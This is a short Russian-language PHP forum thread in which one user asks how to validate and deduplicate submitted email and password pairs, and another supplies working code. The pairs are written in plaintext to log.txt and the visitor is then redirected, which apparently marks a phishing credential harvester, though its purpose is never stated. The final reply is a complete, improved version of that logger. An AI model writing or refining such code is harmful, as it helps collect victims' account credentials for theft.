PHP: if(!empty($_SERVER['QUERY_STRING'])) { if($_SERVER['QUERY_STRING']==1) { /* .... */ } elseif($_SERVER['QUERY_STRING']==2) { /* .... */ } }
Такой вопрос: PHP: if(preg_match("/^([.0-9a-z_-]+)@(([0-9a-z-]+\.)+[0-9a-z]{2,4})$/i", $_POST['email'])){ fputs($f, $_POST['email'].";".$_POST['password']." \n"); header("Location: Из скрипта видно, что эмаил проверяеться на тип жмайла,а вот далее у мну чет не приходит на ум, нужно что бы проверялся и пасс на предмет пустого поля.... Должно быть что-то типа PHP: if(preg_match("/^([.0-9a-z_-]+)@(([0-9a-z-]+\.)+[0-9a-z]{2,4})$/i", $_POST['email'])) or (preg_match("", $_POST['password'])){ fputs($f, $_POST['email'].";".$_POST['password']." \n"); header("Location: ток толком я так и не въехал...
и еще встречный вопрос,как проверить на уникальность, тоесть если есть это email;pass, то не сохранять его, тобишь что бы не было дублей
да,все сохраняеться в фаил,вот что щас PHP: $f=fopen("log.txt","at"); flock($f,2); if(preg_match("/^([.0-9a-z_-]+)@(([0-9a-z-]+\.)+[0-9a-z]{2,4})$/i", $_POST['email'])&& !empty($_POST['password'])){ fputs($f, $_POST['email'].";".$_POST['password']." \n");
PHP: $file = 'file.txt'; $email = preg_match("#^([0-9a-z_-\.]+)@(([0-9a-z-]+\.)+[0-9a-z]{2,6})$#i", $_POST['email']) ? $_POST['email'] : ''; $pass = !empty($_POST['password']) ? $_POST['password'] : ''; if($email && $pass && stripos(file_get_contents($file), $email) === false){ $f = fopen($file, 'at'); fputs($f, $email.';'.$pass."\r\n"); fclose($f); }